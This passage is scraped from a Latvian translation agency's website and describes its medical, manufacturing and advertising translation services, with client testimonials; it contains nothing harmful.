valsts aģentūras (ZVA) ierosināto labojumu ieviešanu jau sagatavotos tulkojumos; medicīnisko iekārtu dokumentācijas (lietošanas instrukcijas, iekārtu apraksti u. c. ) tulkojumus, atbilstoši Eiropas Zāļu aģentūras (EMA) un vietējo normatīvo aktu prasībām; dažādu lietošanas instrukciju un iepakojuma materiālu maketēšanu; medicīnas un farmācijas nozarēm veltītu zinātnisku rakstu un mājaslapu tulkojumus; sinhronās vai secīgās tulkošanas nodrošināšanu konferencēs un semināros vai saziņā ar pacientiem, kā arī sinhronās zīmju valodas tulkošanas pakalpojumus saziņā ar pacientiem; tulka-asistenta pakalpojumus medicīnas tūrisma pakalpojumu sniedzējiem; valodu kursus dažādiem zināšanu līmeņiem, tostarp medicīnas darbinieku apmācību darbam ārvalstīs; kā arī citus, jūsu vajadzībām atbilstošus pakalpojumus. medicīnisko dokumentu (epikrīzes, izraksti, slimības vēstures, analīžu tulkojumi, ārstu slēdzieni, COVID-19 analīžu tulkojumi, SARS-CoV-2 (COVID-19) diagnostikas materiālu tulkojumi u. c. ) un klīnisko pētījumu tulkojumus; farmaceitiskās dokumentācijas (zāļu apraksti, dažāda informācija ārstiem un pacientiem, kvalitātes kontroles dokumentācija u. c. ) tulkojumus, atbilstoši Eiropas Zāļu aģentūras (EMA) un vietējo normatīvo aktu prasībām; esošo tulkojumu pārskatīšanu un Zāļu valsts aģentūras (ZVA) ierosināto labojumu ieviešanu jau sagatavotos tulkojumos; medicīnisko iekārtu dokumentācijas (lietošanas instrukcijas, iekārtu apraksti u. c. ) tulkojumus, atbilstoši Eiropas Zāļu aģentūras (EMA) un vietējo normatīvo aktu prasībām; dažādu lietošanas instrukciju un iepakojuma materiālu maketēšanu; medicīnas un farmācijas nozarēm veltītu zinātnisku rakstu un mājaslapu tulkojumus; sinhronās vai secīgās tulkošanas nodrošināšanu konferencēs un semināros vai saziņā ar pacientiem, kā arī sinhronās zīmju valodas tulkošanas pakalpojumus saziņā ar pacientiem; tulka-asistenta pakalpojumus medicīnas tūrisma pakalpojumu sniedzējiem; valodu kursus dažādiem zināšanu līmeņiem, tostarp medicīnas darbinieku apmācību darbam ārvalstīs; kā arī citus, jūsu vajadzībām atbilstošus pakalpojumus. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Nepieciešama medicīnisko tekstu tulkošana? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par medicīnas un klīnisko pētijumu tulkojumiem jau tūlīt! Medicīnas un klīnisko pētījumu nozare ir prasīga un nepieļauj nekādas atkāpes – tajā strādā profesionāļi, no kuru zināšanām un prasmes ir atkarīga cilvēku veselība un dzīvība. Jebkāda informācija, kas nonāk medicīnas nozares apritē, ir vairākkārt pārbaudīta, tai jābūt precīzai un nepārprotamai. Medicīnisko tekstu tulkošana ir viens no sarežģītākajiem tulkojumu veidiem, ko veic diplomēti speciālisti, tādēļ Skrivanek medicīnisko tekstu tulkošanas komandu veido ārsti un cilvēki ar augstāko medicīnisko izglītību, pieredzi filoloģijā un ļoti labām dzimtās valodas zināšanām. Tulkotāji un redaktori darbā ar medicīnisko tekstu tulkojumiem apzinās savu atbildību par sekām, kādas var rasties neprecīza vai neuzmanīga tulkojuma dēļ. Skrivanek valodu speciālisti nodrošina precizitāti un izpildes termiņu ievērošanu visos tulkojumos, it īpaši tajos, kas attiecas uz medicīnas un klīnisko pētījumu nozari. Esam ISO 27001 un ISO 17100 sertificēts uzņēmums. Turklāt garantējam, ka mums uzticētā informācija nenokļūs pie trešajām personām. Ja jums ir vajadzīgs tulkojums dažādām mārketinga brošūrām, pacientu medicīniskajām vēsturēm, klīnisko pētījumu dokumentācijai un citiem rakstītiem materiāliem vai nepieciešami tulka pakalpojumi konferencēs un citos pasākumos, Skrivanek labprāt to uzņemsies un garantē augstvērtīgu rezultātu. MEDICĪNISKIE TEKSTI Precizitāte, rūpība, jaunākie zinātniskie sasniegumi, modernās tehnoloģijas un atbildība – tas viss un ne tikai vistiešāk raksturo mūsdienu medicīnu. Medicīna (latīņu: medicina – ‘ārstniecība’, ‘dziedniecība’) ir zinātnisku atziņu sistēma un praktisku darbību kopums cilvēka veselības saglabāšanai. Pēc būtības medicīna ir zinātnes nozare par cilvēka veselību. Tajā tiek pētīts cilvēka organisms, tā uzbūve, funkcijas, bet visvairāk slimības un to ārstēšanas iespējas. Medicīnas mērķis ir noteikt slimību izcelsmi, norisi, kā arī to diagnostika, ārstēšana un profilakse. Šodien medicīna ir cieši saistīta ar jaunākajiem zinātniskajiem sasniegumiem veselības aprūpē un medicīnisko tehnoloģiju priekšrocībām. Pirmā civilizācija, kas plaši pētījusi medicīnu un atstājusi rakstveida ierakstus par savām praksēm un procedūrām, bija senā Ēģipte. Vecākie saglabājušies ēģiptiešu medicīnas teksti ir seši papirusi. Laikā no 2000. līdz 1500. gadam p. m. ē. Ēģiptes medicīna ietekmēja kaimiņu medicīnu, tostarp senās Grieķijas medicīnas attīstību. No Grieķijas tās ietekme izplatījās tālāk, tādējādi būtiski ietekmējot Rietumu civilizācijas medicīnas attīstību. Mūsdienās, strauji attīstoties medicīnas zinātnei, tehnoloģijām, ārstniecības metodēm, praksēm, medikamentu ražotnēm, visā pasaulē regulāri tiek rīkotas liela mēroga konferences par medicīnu un medicīnisko aprīkojumu, to ražošanu; jaunie mediķi studē un stažējas dažādās pasaules valstīs, apmainās ar pieredzi. Tiek izdotas jaunas medicīnas studiju grāmatas, datēti pētījumi, rakstītas publikācijas, lai apmainītos ar jaunāko informāciju starp visiem pasaulē ar medicīnu saistītiem cilvēkiem. Šie teksti tiek rakstīti dažādās valodās, tādēļ liela nozīme ir medicīnisko tekstu tulkošanai un medicīnisko tekstu tulkotājiem un tulkiem. MEDICĪNISKO TEKSTU TULKOŠANA Medicīnisko tekstu tulkošana ir viens no sarežģītākajiem tulkojumu veidiem, ko veic diplomēti speciālisti, tādēļ Skrivanek medicīnisko tekstu tulkošanas komandu veido ārsti un cilvēki ar augstāko medicīnisko izglītību, pieredzi filoloģijā un ļoti labām dzimtās valodas zināšanām. Darbā ar medicīnisko tekstu tulkojumiem tulkotāji un redaktori apzinās savu atbildību par sekām, kas var rasties neprecīza vai neuzmanīga tulkojuma dēļ. Medicīniskā tulkošana iekļauj obligātu sarežģītas terminoloģijas un glosārija izpēti, ir jāievēro teksta precizitāte, jāapgūst jaunākās medicīniskās zināšanas un jāgūst izpratne par tulkojamo tekstu. Uzņēmumi, kas darbojas veselības aprūpes nozarē, piemēram, farmācijas uzņēmumi, klīniskās pētniecības organizācijas un medicīnas un ķirurģijas iekārtu ražotāji, lielā mērā ir atkarīgi no labākajiem medicīniskās tulkošanas pakalpojumu sniedzējiem, lai laikā nodrošinātu konsekventu un precīzu satura atainojumu. Medicīniskā tulkošana ir arī dažādu dokumentu – mācību materiālu, medicīnisko biļetenu, zāļu aprakstu utt. – tulkošana gan veselības aprūpes nozares profesionāļu, gan arī pacientu vajadzībām, ir jātulko arī medicīnas ierīču lietošanas instrukcijas, mārketinga materiāli vai klīniskā, juridiskā un tehniskā dokumentācija. Šobrīd visas Eiropas Savienības valstis nosaka, ka uzņēmumiem un organizācijām ir jātulko medicīnas ierīču vai farmaceitisko izstrādājumu marķējumu apraksti valsts valodā. Klīnisko pētījumu dokumenti bieži vien ir jātulko vietējiem ārstiem, pacientiem un regulatīvajiem pārstāvjiem. Pašlaik, ņemot vērā farmācijas, biotehnoloģiju, ķīmisko vielu un medicīnas ierīču nozares, kurās visā pasaulē strauji pieaug pētniecības un investīciju iespējas, īpaši Covid-19 pandēmijas kontekstā pieprasījums pēc medicīnisko tekstu tulkošanas ir kļuvis ļoti aktuāls. Slimnīcu, klīniku un poliklīniku, pat aptieku mājaslapu saturs neatpaliek no mārketinga un jebkura cita biznesa reklamēšanas satura, aug pieprasījums pēc medicīniskā satura popularizēšanas dažādās valodās, lai sasniegtu un uzrunātu pēc iespējas vairāk potenciālo klientu. Lielās medicīnas iestādēs vai medicīnas uzņēmumu korporācijās ir ļoti pieprasīti to mājaslapu satura tulkojumi dažādās valodās, lai pacienti visā pasaulē varētu vieglāk orientēties un piekļūt ne tikai labākajām ārstēšanās vietām, bet arī saņemt modernākās un kvalitatīvākās zāles, medicīniskās procedūras un manipulācijas. Skrivanek valodu speciālisti specializējas gan klīnisko pētījumu, gan medicīniskās izpētes dokumentu, zāļu recepšu, aprakstu, etiķešu un citu dokumentu tulkojumos visās un no visām Baltijas reģiona valodām. MEDICĪNISKO TEKSTU TULKOŠANAS SPECIFIKA Medicīnisko tekstu tulkošana ir ļoti sarežģīta. Austrijā dzimušais amerikāņu medicīnas tekstu tulkotājs Henrijs Fišbahs (1921–2008) ir slavens ar apgalvojumu, ka “medicīnas tekstu tulkojums, iespējams, ir universālākais un senākais zinātniskā tulkojuma veids, jo cilvēka anatomija un fizioloģija ir visur esoša un vienāda”. Kā norāda Fišbahs, pieprasījums pēc medicīniskās tulkošanas un mutiskās tulkošanas veselības aprūpē ir nepārtraukts, jo kopš neatminamiem laikiem cilvēka ķermeņa pētījumi ir vērsti uz kopīgu iezīmju izpēti un universālu risinājumu meklēšanu raksturīgām problēmām, ar kurām saskaras visi cilvēki pasaulē. Medicīnas, veselības aprūpes un farmācijas dokumentu neprecīzas tulkošanas sekas var būt neprognozējamas. Tulkojot medicīnisko un veselības aprūpes informāciju, vienkārši nav pieļaujams burtisks mašīntulkojums vai cilvēka neuzmanības kļūdas. Faktiski medicīnisko tekstu tulkošanas valoda ir zinātniskā valoda, kurā tiek izslēgta jebkāda satura emocionālā nokrāsa un neobjektīva satura interpretācija, tajā nevar izmantot minējumus vai tuvinājumus. Tāpēc medicīnisko tekstu tulkošanā piesaista tikai nozares ekspertus. Skrivanek Baltic kvalitātes kontroles nolūkā ar medicīnas tekstu tulkošanas projektiem strādā divi pieredzējuši valodas speciālisti − viens pilda terminologa lomu un veic terminoloģijas izpēti un pārbaudi, otrs strādā ar teksta tulkošanu, un terminologs ir atbildīgs par visa tulkošanas projekta terminoloģijas pareizību un precīza terminu saraksta nodošanu korektoram, kurš veic tikai gramatikas pārbaudi. Protams, katra medicīniskā tulkojuma teksta tonalitāte nedaudz mainās atbilstoši mērķauditorijai un ir atkarīga no tā, kam teksts ir adresēts, proti, ja medicīniskā saziņa notiek starp ekspertu un neprofesionālu lasītāju, piemēram, starp ārstu un pacientu, vai medicīnas ierīču/zāļu ražotāju un galalietotāju, tulkojumam ir jābūt vieglākam, kurā ir mazāk sarežģīta valoda un terminoloģija, sniedzot arī papildu ieskatu, lai galalietotājs/nespeciālists lasītājs saprastu specializēto terminoloģiju. BIEŽĀKĀS PROBLĒMAS MEDICĪNISKO TEKSTU TULKOŠANĀ Medicīniskā tulkojuma veiksme vai neveiksme vienmēr ir atkarīga no tā, cik precīzi tiek lietota terminoloģija, kā arī valodas speciālista, kurš veic tulkojumu, zināšanu un izpratnes līmeņa par konkrēto tematiku. Kļūdas un izaicinājumus medicīniskajā tulkošanā var klasificēt, pamatojoties uz ekvivalences, lasāmības, eponīmu, akronīmu, afiksācijas un polisēmijas kritērijiem, kas atspoguļo galvenās stilistiskās un leksiskās problēmas, kuras var radīt vai “izjaukt” medicīnisko tulkojumu. Medicīnas eponīmi ir specifiska terminoloģija medicīnas jomā. Tās ir pazīmes un simptomi, kas parasti tiek nosaukti atklājēju vai pacientu vārdos. Ņemot vērā medicīnas zinātņu jomā lietotās terminoloģijas plašo spektru, bieži rodas jautājums par izvēli starp eponīmu un citu līdzvērtīgu terminu; īpaša uzmanība ir jāpievērš terminoloģijas izmantošanai arī atkarībā no tā, kurš termins tiek biežāk vai plašāk lietots. Turklāt papildus sarežģītajam vārdu krājumam un tehniskajiem aspektiem medicīniskās tulkošanas izaicinājumi globālā mērogā ir saistīti arī ar precizitāti un atbilstību tirgus specifikai. Tas izslēdz brīvu pieeju tulkojumam, strikti tiek ievērots pamatavota vēstījums un netiek izmantota teksta brīva interpretācija. Turklāt ir svarīgi pievērst uzmanību terminoloģijas līdzvērtībai, lai nepieļautu nepareizus tulkojumus. Ja mums vajadzētu precīzi definēt būtiskāko atšķirību starp medicīnisko tekstu un citu nozaru tekstu tulkojumiem, galvenie atslēgvārdi būtu “standarts” un “kvalitāte”. Pamatprasība medicīnas tekstu tulkotājiem un valodu speciālistiem ir praktiska pieredze, nevainojamas teorētiskās zināšanas bioloģijā, ķīmijā un, protams, jomas specifiskās terminoloģijas zināšanas. Turklāt ikviens potenciālais medicīnisko tulkojumu pasūtītājs ļoti augstu vērtē tulkojuma atbilstību normatīvajiem aktiem un noteikumiem, tādējādi izslēdzot sliktu atsauksmju un negatīvas reakcijas risku. Arī standartizētie medicīniskās tulkošanas procesi, ko regulē Starptautiskie kvalitātes standarti (ISO), ir ļoti svarīgi, lai praktiski nodrošinātu medicīniskajai tulkošanai izvirzītās kvalitātes prasības. Tāpēc medicīnisko tekstu tulkošanā būtiska ir divējāda pieeja − tulkojumiem ir jāatbilst gan terminoloģijai, gan stilistiskajai stingrībai un mērķa tirgu prasībām. Galvenās priekšrocības, kas atšķir medicīniskās tulkošanas jomu no citiem tulkošanas jomu veidiem, ko mūsdienās vēlas ieinteresētās puses visā pasaulē: nepieciešamība pēc profesionāla, cilvēku radīta medicīniskā tulkojuma ir jebkura efektīva veselības aprūpes un medicīnas nozares biznesa neatņemama daļa, jo mūsdienās “medicīnas tūrismam” ir lielāka nozīme nekā jebkad agrāk. Kvalitatīvs medicīnas tulkojums, kas pamatojas uz abpusēji izdevīgām attiecībām starp ārstniecības iestādi un klientu, sniedz medicīnas nozarei izdevīgu rezultātu, nodrošinot pacientu un patērētāju apmierinātību. Medicīniskā satura, piemēram, plašu aprakstu par specializētiem pētījumiem vai pētījumiem par zālēm un/vai medicīnas iekārtām, tulkošana vienlīdz sniedz labumu veselības aprūpes speciālistiem un viņu pacientiem, nodrošinot, ka katra puse ir informēta, kā arī paver jaunus piekļuves ceļus ārvalstu pacientiem un investoriem, kuri vēlas modernus veselības uzlabošanas pakalpojumus un medicīniskās procedūras. Jo īpaši farmācijas nozarē augstas kvalitātes, profesionāli medicīniskie tulkojumi nekad nav bijuši tik vērtīgi kā mūsdienās, jo attīstīto valstu farmācijas produktu pieejamība starptautiskajos tirgos strauji pieaug. Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes --- > Kvalitatīvi ražošanas nozares specifikai atbilstoši tulkojumi: rakstiski, mutiski, notariāli. Lokalizācija un valodu kursi. Uzziniet vairāk! - Published: 2017-10-02 - Modified: 2024-01-23 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-razosanas-nozarei/ - Translation Priorities: Optional Nodrošināt augstākā līmeņa sniegumu ražošanas nozarē var tikai spēcīgi uzņēmumi, kuri rūpīgi izvēlas savus partnerus. Neatkarīgi no tā, vai strādājat pārtikas sektorā vai arī ražojat tekstilizstrādājumus un citas rūpniecības preces, kvalitatīvam gala produktam ir nepieciešama nepārtraukta un precīza saziņa ar izejmateriālu piegādātājiem, klientiem un citiem partneriem. Skrivanek palīdzēs jūsu ražošanas uzņēmumam nodrošināt komunikāciju jums vēlamā svešvalodā, tādējādi veicinot jūsu izaugsmi ne tikai vietējos, bet arī eksporta tirgos. Mēs zinām, ka jums ir ambīcijas un liels potenciāls, un ar pareizi izvēlētiem vārdiem to ir vieglāk realizēt! Neatkarīgi no tā, vai jums nepieciešams iztulkot rakstītu tekstu, lokalizēt mājaslapu vai nodrošināt DTP komandas atbalstu, vai varbūt vajadzīgi tulka pakalpojumi klātienē dažādu tikšanos vai konferenču laikā, Skrivanek jums palīdzēs sasniegt vēlamo rezultātu. Esam gandarīti, ka nelielas ražotnes, stratēģiski nozīmīgas rūpnīcas un citi uzņēmēji, kas ražo produkciju, jau izmanto mūsu pakalpojumus. Aicinām arī jūs likt lietā mūsu sniegtos valodu risinājumus. Mūsu valodu speciālistiem ir pieredze tulkojumu nodrošināšanā ražošanas nozares vajadzībām. Ja nepieciešams sagatavot lielāka apjoma tulkojumus, varat būt pārliecināti, ka tos saņemsiet pēc iespējas īsākā laikā, jo mēs izmantojam pašas jaunākās tulkošanas tehnoloģijas. Ikvienu projektu koordinē pieredzējuši projektu vadītāji, kas organizē pasūtījuma izpildi no sākuma līdz beigām. Neatkarīgi no tā, vai jums nepieciešams sagatavot dažādus biznesa līgumus, iztulkot uzņēmuma mājaslapu, sagatavot mārketinga materiālus vai tehnisko dokumentāciju vai apmeklēt konferences, kurās saziņa notiek svešvalodās, mūsu starptautiskā tulku un tulkotāju komanda ir gatava palīdzēt. MŪSU SNIEGTIE PAKALPOJUMI RAŽOŠANAS NOZAREI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: dažādu mārketinga materiālu drukātā un digitālā formātā (piemēram, pārdošanas materiāli, bukleti, produktu faktu lapas u. c. ) tulkojumus; instrukciju un aprīkojuma aprakstu tulkojumus; gatavās produkcijas aprakstu un etiķešu tulkojumus; tehnisko aprakstu un specifikāciju tulkojumus; lietotāja rokasgrāmatu, izstrādājumu tehnisko pašu tulkojumus; sinhrono vai secīgo tulkošanu dažādos pasākumos, tostarp konferencēs, semināros un biznesa tikšanās; valodu mācības un specializētos semināros, kas uzlabos jūsu darbinieku svešvalodu un prezentēšanas prasmes; asistenta pakalpojumus; kā arī citus, jūsu vajadzībām atbilstošus pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties MŪSU SNIEGTIE PAKALPOJUMI RAŽOŠANAS NOZAREI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: dažādu mārketinga materiālu drukātā un digitālā formātā (piemēram, pārdošanas materiāli, bukleti, produktu faktu lapas u. c. ) tulkojumus; instrukciju un aprīkojuma aprakstu tulkojumus; gatavās produkcijas aprakstu un etiķešu tulkojumus; tehnisko aprakstu un specifikāciju tulkojumus; lietotāja rokasgrāmatu, izstrādājumu tehnisko pašu tulkojumus; sinhrono vai secīgo tulkošanu dažādos pasākumos, tostarp konferencēs, semināros un biznesa tikšanās; valodu mācības un specializētos semināros, kas uzlabos jūsu darbinieku svešvalodu un prezentēšanas prasmes; asistenta pakalpojumus; kā arī citus, jūsu vajadzībām atbilstošus pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Kvalitatīvi reklāmas un mārketinga nozares specifikai atbilstoši tulkojumi: rakstiski un mutiski. Lokalizācija un valodu kursi. Uzzini vairāk! - Published: 2017-10-02 - Modified: 2025-06-03 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-reklamas-un-marketinga-nozarei/ - Translation Priorities: Optional Jūs jau zināt, ka pareiza vārdu izvēle ir būtiska. Dažreiz mazāk ir vairāk.  MŪSU SNIEGTIE PAKALPOJUMI MĀRKETINGA UN REKLĀMAS NOZAREI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: visa veida mārketinga materiālu tulkojumus gan digitālā, gan drukātā formātā (piemēram, pārdošanas materiāli, stila rokasgrāmatas, produktu faktu lapas, e-pasta kampaņas u. c. ); reklāmu tekstu tulkojumus rakstiskā, video un audio formātā; reklāmas saukļu, baneru, Google Ads un SEO tekstu tulkojumi; mājaslapu, tostarp “landing page” tulkojumus; grafiskā dizaina pakalpojumus – DTP; radošu tekstu sagatavošanu un adaptāciju; sinhrono vai secīgo tulkošanu dažāda veida pasākumos, tostarp semināros, konferencēs, prezentācijās; kā arī citus, jūsu vajadzībām atbilstošus pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties REKLĀMU TEKSTU TULKOŠANA Reklāmu tekstu tulkošana ir cieši saistīta ar katra teksta autora vai tulkotāja valodas jaunradi. Laba reklāma ir iedarbīga reklāma tajā pašā laikā arī izteiksmīga, labskanīga un viegli saprotama. Teksts reklāmā ir ļoti svarīgs elements, ar ko tiek panākta reklāmas ietekme uz tās adresātu. Reklāmu tekstu valodai piemīt īpašs semantiskais zemteksts, un tā ir bagāta visdažādākajiem mākslinieciskās izteiksmes līdzekļiem, no kuriem biežāk lietotie ir metaforas, epiteti, hiperbolas, personifikācijas un arī retoriskie jautājumi, ļoti piesardzīgi gan ir jālieto vārdi ar emocionāli negatīvu nokrāsu. Bieži reklāmu tekstu veidošanā tiek izmantots problēmas un risinājuma modelis, proti, tiek definēta problēma un piedāvāts lielisks risinājums šīs problēmas novēršanai, tādējādi pārliecinot lasītāju par reklamējamā produkta nepieciešamību. Veidojot, tulkojot un vēlāk adoptējot reklāmu tekstus, ir jāatceras, ka reklāma nedrīkst tikt pārblīvēta ar tekstu. Tekstveidē ir jāizmanto kodolīgi, precīzi un labi strukturēti teikumi. Reklāmas tekstos nav pieļaujama divdomība vai teksta neskaidrība. Ļoti rūpīgi reklāmas tekstu kompozīcijā tekstu autoriem un tulkotājam ir jāstrādā ar virsrakstiem un saukļiem, kur lakoniskā veidā jāatklāj reklamējamā produkta esence, jo nereti virsraksts būs vienīgais, ko lasītājs vēlāk izlasīs. REKLĀMU TEKSTU TULKOJUMU VEIDI reklāmu tekstu tulkojumi un to adaptācija vairāk nekā 110 valodās; tīmekļa vietņu jeb mājaslapu tulkojumi un lokalizācija; video un audio reklāmu tulkojumi; reklāmas saukļu tulkojumi; baneru tulkojumi; reklāmas bukletu tulkojumi; piezemēšanās lapu tulkojumi u. c. REKLĀMU TEKSTU TULKOŠANAS ĪPATNĪBAS Tulkojot reklāmu tekstus, īpaša vērība ir jāpievērš uzrunas formas izvēlei, tās pierakstam, arī deminutīvu lietojumam. Ir jāatceras, ka reklāmas teksts nevar tikt uztverts atrauti no tās vizuālajiem vai skaņas elementiem, jo tie visi kopā veido harmonisku reklāmas vēstījumu. Krāsas, burtu lielumi, grafikas reklāmas tekstos tikai piešķir papildu emocionālo nokrāsu. Darbā ar reklāmu tekstu tulkojumiem svarīgi ņemt vērā mērķauditorijas nacionālās mentalitātes īpatnības, arhetipus un stereotipus, jo kultūras vērtību dažādība var izraisīt pretrunīgas reakcijas. Tulkojumā ir būtiski spēt saglabāt tajā sākotnēji iekodēto zemtekstu jeb emocionālo saiti, kas ar reklāmu tiek nodota tās mērķauditorijai. Tādēļ adaptējot reklāmu noteiktā teritorijā, ir rūpīgi jāņem vērā, kādas asociācijas tā var izsaukt. MŪSU SNIEGTIE PAKALPOJUMI MĀRKETINGA UN REKLĀMAS NOZAREI PIEEJAMI VISĀS POPULĀRĀKAJĀS EIROPAS VALODU KOMBINĀCIJĀS, UN TIE IETVER: visa veida mārketinga materiālu tulkojumus gan digitālā, gan drukātā formātā (piemēram, pārdošanas materiāli, stila rokasgrāmatas, produktu faktu lapas, e-pasta kampaņas u. c. ); reklāmu tekstu tulkojumus rakstiskā, video un audio formātā; reklāmas saukļu, baneru, Google Ads un SEO tekstu tulkojumi; mājaslapu, tostarp “landing page” tulkojumus; grafiskā dizaina pakalpojumus – DTP; radošu tekstu sagatavošanu un adaptāciju; sinhrono vai secīgo tulkošanu dažāda veida pasākumos, tostarp semināros, konferencēs, prezentācijās; kā arī citus, jūsu vajadzībām atbilstošus pakalpojumus. AR PRIEKU UZKLAUSĪSIM JŪSU VAJADZĪBAS, LAI SAGATAVOTU ĪPAŠI JUMS IZSTRĀDĀTU PIEDĀVĀJUMU Sazināties Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam 